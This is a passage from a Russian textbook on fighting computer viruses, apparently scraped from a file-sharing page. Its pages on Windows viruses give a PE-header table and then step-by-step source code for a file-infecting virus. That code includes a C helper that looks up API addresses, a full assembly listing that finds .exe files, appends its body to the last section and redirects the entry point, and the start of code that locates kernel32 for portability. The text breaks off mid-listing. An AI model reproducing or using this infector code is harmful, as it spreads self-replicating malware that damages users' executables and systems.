Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

 

 

191

 

 

 

 

 

 

 

 

 

Продолжение описания полей PE-заголовка

 

 

 

 

 

 

Смеще-

Размер

Èìÿ ïîëÿ

Êîì.

 

Краткое описание

íèå

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

8Ch

DWord

Resource Data

Íåò

 

размер таблицы ресурсов

Size

 

 

 

 

 

 

 

 

 

 

 

 

90h

DWord

Exception

Íåò

 

RVA адрес таблицы исключений

Table RVA

 

 

 

 

 

 

 

 

 

 

 

 

94h

DWord

Exception

Íåò

 

Размер таблицы исключений

Data Size

 

 

 

 

 

 

 

 

 

 

 

 

98h

DWord

Security Table

Íåò

 

? адрес таблицы безопасности

RVA

 

 

 

 

 

 

 

 

 

 

 

 

9Ch

DWord

Security Data

Íåò

 

? размер таблицы безопасности

Size

 

 

 

 

 

 

 

 

 

 

 

 

A0h

DWord

Fix Up's Table

Íåò

 

RVA адрес таблицы настроек

RVA

 

 

 

 

 

 

 

 

 

 

 

 

A4h

DWord

Fix Up's Data

Íåò

 

Размер таблицы настроек

Size

 

 

 

 

 

 

 

 

 

 

 

 

A8h

DWord

Debug Table

Íåò

 

RVA адрес таблицы отладочной информа-

RVA

 

öèè

 

 

 

 

 

 

 

 

 

 

ACh

DWord

Debug Data

Íåò

 

Размер таблицы отладочной информации

Size

 

 

 

 

 

 

 

 

 

 

 

 

B0h

DWord

Image Descrip-

Íåò

 

RVA адрес строки описани модуля

tion RVA

 

 

 

 

 

 

 

 

 

 

 

 

B4h

DWord

Description

Íåò

 

Размер строки описания модуля

Data Size

 

 

 

 

 

 

 

 

 

 

 

 

B8h

DWord

Machine

Íåò

 

? адрес таблицы значений, специфичных

Specific RVA

 

для микропроцессора

 

 

 

 

 

 

 

 

 

 

BCh

DWord

Machnine

Íåò

 

? размер таблицы значений, специфичных

Data Size

 

для микропроцессора

 

 

 

 

 

 

 

 

 

 

C0h

DWord

TLS RVA

Íåò

 

Указатель на локальную область данных

 

цепочек

 

 

 

 

 

 

 

 

 

 

 

C4h

DWord

TLS Data Size

Íåò

 

Размер области данных цепочек

 

 

 

 

 

 

C8h

DWord

Load Config

Íåò

 

?

RVA

 

 

 

 

 

 

 

 

 

 

 

 

CCh

DWord

Load Config

Íåò

 

?

Data Size

 

 

 

 

 

 

 

 

 

 

 

 

D0h

08h

Reserved

Íåò

 

?

 

 

 

 

 

 

 

 

 

 

 

 

192

 

 

 

 

 

Windows вирусы

 

 

 

 

 

 

 

 

 

 

 

Продолжение описания полей PE-заголовка

 

 

 

 

 

 

 

 

Смеще-

 

Размер

Èìÿ ïîëÿ

Êîì.

 

Краткое описание

 

íèå

 

èëè òèï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

? мною это поле обнаружено только в муль-

 

 

 

 

 

 

тимедийных файлах системы

Windows'95,

 

 

 

 

 

 

ýòî SNDREC32, CDPLAYER,

MPLAYER.

D8h

 

DWord

IAT RVA

Íåò

 

Оно указывает на таблицу адресов импорта

 

 

в файле (помимо структуры импорта). Пи-

 

 

 

 

 

 

 

 

 

 

 

 

сал эти программы один человек, и чего он

 

 

 

 

 

 

хотел, не ясно. Используется в NT, в Win-

 

 

 

 

 

 

dows'95, судя по всему, нет

 

 

 

 

 

 

 

 

 

DCh

 

DWord

IAT Data Size

Íåò

 

? размер описанного поля

 

 

 

 

 

 

 

 

 

E0h

 

08h

Reserved

Íåò

 

?

 

 

 

 

 

 

 

 

 

E8h

 

08h

Reserved

Íåò

 

?

 

 

 

 

 

 

 

 

 

F0h

 

08h

Reserved

Íåò

 

?

 

 

 

 

 

 

 

 

 

 

Total Structure size

F8h

 

Общий размер заголовка

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Как видно из структуры PE заголовка, он довольно большой. Для того чтобы его модифицировать для передачи управления на вирусное тело, придется гораздо больше поработать, чем при инфицировании DOS EXE файла.

Общая схема самого распространенного способа инфицирования PE EXE выглядит следующим образом:

1)найти файл;

2)проверить, если он заражен, то на шаг 7;

3)прочитать первые байты и проверить, чтобы это был EXE (первые байты должны быть «MZ»), и PE (по смещению [3ch] от начала должны быть байты «PE»);

4)прочитать PE заголовок;

5)модифицировать его и записать обратно в файл;

6)дописать тело вируса в конец программы;

7)искать следующий файл. Если файлов больше нет, то на шаг 8;

8)конец программы.

Это лишь схема заражения. В вирусе после инфицирования могут быть проявления деструктивные или недеструктивные. Вирус должен вернуть управление оригинальной программе (носителю).

Программы в формате PE (Portable Executable) рассчитаны на работу в третьем кольце (ring-3). Данные программы работают через KERNEl32.dll и другие библиотеки. Kernel32 экспортирует различные функции, которые используют PE программы (эти функции являются частью набора функций WIN32 API). Для использования данных функций программы их импортируют. При написании WIN32 программ ни о каких экспортах и импортах можно не беспокоиться, этим займется компоновщик14.

14 Для компиляторов TASM и MASM, возможно, понадобится подключение специализированных библиотек (например, win32.lib ) и DEF-файлов. Они поставляются в стандартной компоновке этих компиляторов. — Ïðèì. ðåä.

Windows вирусы

193

 

 

Однако при написании вирусов, которым для размножения тоже нужны WIN API, уже придется что-то думать. Представьте себе ситуацию: ифицирована программа, которая импортирует только одну функцию ExitProcess. А вирусу нужно еще множество других, таких как WriteFile,CreatFileA,... В этом случае вирус не будет работать в инфицированной программе.

Простейшим выходом из такой ситуации будет вычислить адреса необходимых функций и записать их в тело вируса, затем вызывать эти функции напрямую. Но в этом методе есть один большой недостаток: данные адреса будут постоянными для одной операционной системы, к примеру, Windows 95, а для другой совсем отличные. К примеру, Windows XP. Но они также будут различны в разных релизах. Поэтому при написании такого вируса нужно помнить, что он будет работать только под ОС, для которой он был разработан. Возникает вопрос, как же получить эти адреса функций? Можно их получить при помощи отладчика, но мы пойдем другим путем. Для их получения можно использовать либо уже готовую утилиту getproc.exe, которая написана jqwerty и включена в второй номер вирусного электронного издания 29A, либо можно написать эту утилиту самим, что гораздо предпочтительнее. Этим мы сейчас и займемся. Данная утилита довольно проста, и для ее написания мне понадобилась буквально пара минут.

Рассмотрим листинг:

//---------------------------------------------

 

 

#include

"windows.h"

 

#include

"stdio.h"

 

main(int argc, char *argv[])

 

{

 

 

HMODULE hnd1;

//

FARPROC a;

// Данные, необходимые для работы программы

char

*name1;

//

char

*modul1;

//

printf("Usage GETADDR <module> <API function>\n"); // Вывод сообщения об использовании // утилиты

if (argc < 3)

//

{

// Если запущены без параметров, то выведем адреса

name1="GetProcAddress";

// KERNEL32 и WIN API функции GetProcAddress

modul1="KERNEL32";

//

}

//

else

// Если запущены с параметрами, то выведем по запросу

{

// пользователя

name1=argv[2];

 

modul1=argv[1];

 

}

 

hnd1=GetModuleHandle(modul1);

// Получаем адрес модуля

a=GetProcAddress(hnd1,name1);

// Получаем адрес WIN API функции

printf("Module=[%s] Address=%xh\n",modul1,hnd1); // Выводим оба

printf("Function=[%s] Address=%xh\n",name1,a); // адреса

return(0);

// Выход из программы

}

//---------------------------------------------

194

Windows вирусы

 

 

Ну вот, утилита написана. Теперь можно приступать к разработке вируса. Следует рассмотреть, как выглядит файл до инфицирования и после:

а) до инфицирования:

б) после инфицирования:

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

; Функция, необходимая для запуска вируса после компоновки

extrn

ExitProcess:PROC

 

.data

 

; Вирус расположен в области данных

start:

 

 

;----------------------------------------------

 

 

call

delta

;

delta:

 

; Получаем дельта-смещение

pop

ebp

;

sub

ebp,offset delta

;

mov eax, dword ptr [ebp + offset oldip]

; Восстанавливаем старую точку

add eax, dword ptr [ebp + offset imagebase] ; и виртуальный адрес начала

 

 

; программы

push eax

; Положим eax в стек

pushad

; Сохраняем все регистры

lea

eax,dword ptr[ebp+find_file]

;

push

eax

; Заполняем параметры

lea

eax,dword ptr[ebp+mask1]

; и вызываем функцию

push

eax

; FindFirstFileA

lea

eax,dword ptr[ebp+FindFirstFileA]

;

call

[eax]

;

cmp

EAX, -1

; Если файлов нет,

je

End_it

; тогда выходим.

mov

[ebp+Fhandle],eax

; Сохраняем хэндл поиска

inf1:

 

 

mov ecx, dword ptr [ebp + find_file + 20h]

; ecx = filesize

mov [ebp + offset filesize], ecx

; Сохраняем размер файла

Windows вирусы

 

195

 

 

 

add ecx, finish - start + 1000h

 

; filesize + virus

mov [ebp + offset memory], ecx

 

; +workspace=memory

call

infect

 

 

f_next:

 

 

 

call

Fnext

 

 

cmp

eax,0

 

; 0 Файлы закончились

jne

inf1

 

 

push dword ptr [ebp+Fhandle]

 

;

lea eax,dword ptr[ebp+FindClose]

 

; Закрытие поиска

call [eax]

 

;

;----------------------------------------------

 

End_it:

 

 

 

popad

 

 

; Восстанавливаем все регистры

ret

 

 

; Отдаем управление носителю

;----------------------------------------------

 

infect:

 

 

 

lea esi, [ebp + find_file + 2ch]

 

; esi = имени файла

OpenFile:

 

 

 

push

0

 

 

push

00000080h

 

 

push

3

 

 

push

0

 

 

push

00000001h OR 00000002h

 

 

push

40000000h OR 80000000h

 

 

push

esi

 

 

lea

eax,[ebp+CreateFileA]

 

; Открытие файла

call

[eax]

 

; для чтения/записи

mov [ebp + offset fHnd], eax

 

; Сохранение хэндла файла

cmp eax, -1

 

 

je InfectionError

 

 

;----------------------------------------------

 

CreateFileMapping:

 

 

 

 

 

; выделяем память

push 0

 

; имя файла хэндл = 0

push dword ptr [ebp+ offset memory]

; максимальный размер = memory

push 0

 

; минимальный размер = 0

push 4

 

; доступ чтение/запись

push 0

 

;

push dword ptr [ebp + offset fHnd]

 

 

lea eax, [ebp + offset CreateFileMappingA]

call [eax]

; eax = хэндл

mov [ebp + offset mHnd], eax

 

 

or eax, eax

 

 

jz CloseFile

 

 

MapViewOfFile1:

 

 

 

push dword ptr [ebp + offset memory]

; количество памяти для работы

push 0

 

;

push 0

 

;

196

 

Windows вирусы

 

 

 

push 2

 

; Режим записи

push eax

 

; хэндл

lea eax,

[ebp + offset MapViewOfFile]

; Вызываем функцию

call [eax]

 

or eax, eax

 

jz CloseMap

 

mov esi,

eax

;

mov [ebp + offset mapaddress], esi

; Сохраняем базу памяти

DoSomeChecks:

 

 

cmp word ptr [esi], 'ZM'

; Ýòî EXE ôàéë?

jne UnmapView

 

cmp word ptr [esi + 38h], 'nf'

; Уже зараженный файл?

je UnmapView

 

OkGo:

 

 

mov ebx, dword ptr [esi + 3ch]

 

cmp ebx, 200h

 

ja UnmapView

 

add ebx, esi

 

cmp word ptr [ebx], 'EP'

; Ýòî PE ôàéë?

jne UnmapView

 

mov [ebp + offset PEheader], ebx mov esi, ebx

mov eax, [esi + 28h]

mov [ebp + offset oldip], eax

mov eax, [esi + 34h]

mov [ebp + offset imagebase], eax

;----------------------------------------------

LocateBeginOfLastSection:

mov ebx,

[esi + 74h]

shl ebx,

3

xor eax,

eax

mov ax, word ptr [esi + 6h] dec eax

mov ecx, 28h mul ecx

add esi, 78h add esi, ebx add esi, eax

ChangeLastSectionHeader:

;сохраняем PE заголовок

;Сохраняем старую точку

;входа (ip)

;Сохраняем

;виртуальный адрес

;начала программы

;

;

;Количество объектов

;(нам нужен последний-

;заголовок секции)

;* размер заголовка

;Теперь esi указывает на

;начало последнего заголовка

;секции

or dword

ptr [esi + 24h], 00000020h or 20000000h or 80000000h

NewPhysicalSize:

 

 

mov eax,

dword ptr [esi+10h]

; Старый физический размер

add eax,

finish-start

 

mov dword ptr [esi+10h], eax

; Сохраняем его

Windows вирусы

197

 

 

VirtualSizeCheck:

mov edi, dword ptr [esi + 8h] cmp eax, edi

jge NewVirtualSize VirtualSizeIsVirtual:

add edi, finish-start mov eax, edi

NewVirtualSize:

mov ecx, [ebp + offset PEheader] mov ecx, [ecx + 38h]

div ecx inc eax mul ecx

mov [esi + 8h], eax NewAlignedImageSize:

mov eax, dword ptr [esi + 0ch] add eax, dword ptr [esi + 8h] mov [ebp+ imagesize], eax

;Получаем старый

;виртуальный размер

;и выравниваем

;Сохраняем новое значение

;Получаем виртуальное смещение

;+ новый виртуальный размер

;= новый виртуальный размер

NewAlignedFileSize:

 

 

 

mov eax,

dword ptr [esi+10h]

; Получаем новый

 

 

; физический размер

add eax, dword ptr [esi + 14h]

; Добавляем смещение

 

 

; физического

mov [ebp + offset filesize], eax

; размера = размер файла

CalculateNewIp:

 

 

 

mov eax, dword ptr [esi+10h]

; Новый физический размер

add eax, dword ptr [esi + 0ch]

; + виртуальное смещение

sub eax, finish-start

; - размер вируса

mov [ebp

+ newip], eax

; новая точка входа

CopyVirusToEndOfFile:

 

 

mov edi, dword ptr [esi+10h]

; Новый физический размер

sub edi,

finish-start

 

 

add edi,

[ebp + offset mapaddress]

; mapaddress

add edi, [esi + 14h]

; Добавляем смещение

 

 

; потоковых данных

lea esi, [ebp + start]

; Копируем вирус

mov ecx, (finish-start)/4 + 4

 

 

cld

 

 

 

rep movsd

 

 

 

UpdatePEHeaderWithChanges:

 

 

mov esi, dword ptr [ebp + offset mapaddress]

 

mov word ptr [esi + 38h], 'nf'

 

; Устанавливаем метку

mov esi, dword ptr [ebp + offset PEheader]

; инфицированности

mov eax, dword ptr [ebp + offset newip]

 

 

mov [esi + 28h], eax

; Устанавливаем новую точку

198

Windows вирусы

 

 

mov eax, [ebp + offset imagesize]

; входа

mov [esi + 50h], eax

; Устанавливаем новый

 

; виртуальный размер

UnmapView:

 

push dword ptr [ebp + offset mapaddress]

;

lea eax, [ebp + UnmapViewOfFile]

; Заканчиваем изменение файла

call [eax]

; в памяти и кладем его обратно

CloseMap:

 

push dword ptr [ebp + offset mHnd]

;

lea eax, [ebp + CloseHandle]

; Закрываем хэндл

call [eax]

;

push 0

 

push 0

 

push dword ptr [ebp + offset filesize]

;

push dword ptr [ebp + offset fHnd]

; Переходим в конец файла

lea eax, [ebp + offset SetFilePointer]

;

call [eax]

 

push dword ptr [ebp + offset fHnd]

;

lea eax, [ebp + offset SetEndOfFile]

; Устанавливаем символ конца

call [eax]

; файла

;----------------------------------------------

 

CloseFile:

 

push dword ptr [ebp + offset fHnd] lea eax, [ebp + offset CloseHandle] call [eax]

InfectionError:

 

 

ret

 

 

;----------------------------------------------

 

 

Fnext:

 

 

lea

eax,[ebp+offset find_file]

push

eax

 

push

dword ptr[ebp+Fhandle]

lea

eax,[ebp+offset+FindNextFileA]

call

[eax]

ret

 

 

;----------------------------------------------

 

 

mask1

db

'*.exe',0

FindFirstFileA

Dd

077E75D9EH

FindNextFileA

Dd

077E75E67H

CreateFileA

Dd

077E7A837H

_llseek

Dd

077E6E4FDH

WriteFile

Dd

077E79D8CH

CloseHandle

Dd

077E77963H

UnmapViewOfFile

Dd

077E75090H

SetFilePointer

Dd

077E78C81H

SetEndOfFile

Dd

077E70192H

;

;Закрываем файл

;Выходим из процедуры

;

;

;Процедура поиска следующего

;файла

;

;

; Маска для поиска

;

;

;

;Вычисленные адреса WIN API

;функций при помощи нашей

;программы

;

;

;

Windows вирусы

 

199

 

 

 

CreateFileMappingA Dd

077E77797H

;

MapViewOfFile

Dd

077E74D76H

;

FindClose

Dd

077E78EAAH

;

oldip

dd

offset Exit1

; Для первого поколения вируса

 

 

 

; необходимо это смещение

imagebase

dd

0h

;

finish:

 

 

 

find_file

db

313 dup(?)

;Здесь идут данные, которые в

size2read

dd

0h

; тело вируса не входят

fHnd

dd

0h

;

mHnd

dd

0h

;

memory

dd

0h

;

mapaddress

dd

0h

;

PEheader

dd

0h

 

filesize

dd

0h

 

imagesize

dd

0h

 

newip

dd

0h

 

Fhandle

dd

0h

 

;----------------------------------------------

 

 

 

.code

 

 

 

Exit1:

 

 

 

push 0

 

 

; Сюда передается управление

call ExitProcess

 

; в первом поколении вируса

;----------------------------------------------

 

 

 

end

start

 

 

;----------------------------------------------

 

 

 

Представленный выше вирус увеличивает размер файла, дописывая свое тело к последней секции файла, перед этим соответственно увеличив ее длину.

Данный вирус можно модифицировать под любую операционную систему семейства Windows, но если он написан под Windows XP и запустить его на Windows 95 — работать он не будет. Поэтому сейчас мы избавимся от этого недостатка.

Сначала необходимо разобраться, из-за чего данный вирус не может так же эффективно работать на других операционных системах, кроме как на той, для которой он был разработан. Дело в том, что адреса функций KERNEL32.DLL на разных операционных системах разные, и если мы обращаемся по тому же адресу в другой операционной системе, то соответственно мы не попадем в нужную функцию, и программа работать не будет. В нашей программе, написанной на C++, мы использовали функцию GetProcAddress, на вход которой передавали адрес KERNEL32. Следовательно, чтобы он эффективно работал на всех операционных системах семейства Windows, нам необходимо, чтобы наш вирус находил адрес KERNEL32, а потом и адрес функции GetProcAddress. А затем при вызовах различных функций перед передачей им управления, мы с помощью функции GetProcAddress будем вычислять их настоящий адрес. Таким образом, наш вирус гордо сможет именоваться WIN32.

Перейдем к листингу.

200

Windows вирусы

 

 

;----------------------------------------------

 

.486p

 

.model flat

 

extrn ExitProcess:proc

 

.data

 

virus:

 

mov ebx,[esp]

; Возьмем из стека адрес

 

; Kernel'a

xor bx,bx

; и найдем его начало

next_block:

 

cmp word ptr [ebx],'ZM'

; Начало?

je found_MZ

; ÄÀ!

sub ebx,1000h

; Ищем дальше

jmp next_block

 

found_MZ:

 

mov edx,ebx

; Сохраним указатель

mov edi,dword ptr [ebx+3Ch]

; Адрес PE заголовка

add edi,edx

; +адрес kernel'a

cmp word ptr [edi],'EP'

; Проверка на PE

jne Exit

; Не равно - выходим

mov 4 ptr [KernelAddr],edx

; Сохраним базовый адрес

 

; kernel'a

Exit:

; Сюда мы попадаем когда или

 

; нашли адрес kernel'a,

jmp fin

; или не нашли

KernelAddr dd 0

; Здесь будет храниться

 

; адрес kernel'a

.code

; Кодовая секция

start:

 

jmp virus

; Переходим на наш код

fin:

 

push 0

; А сюда управление

 

; попадет, когда

call ExitProcess

; мы будем завершать программу

end start

 

;----------------------------------------------

 

Данная программа находит адрес kernel'a. Как вы уже, наверное, догадались, он для каждой операционной системы разный.

Теперь нам необходимо обнаружить адрес функции GetProcAddress. Модифицируем программу поиска kernel'a так, чтобы она еще искала адрес функции GetProcAddress.

Перейдем к листингу:

;----------------------------------------------

.486p

.model flat

extrn ExitProcess:proc

.data

 

virus:

 

mov ebx,[esp]

; Возьмем из стека адрес

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]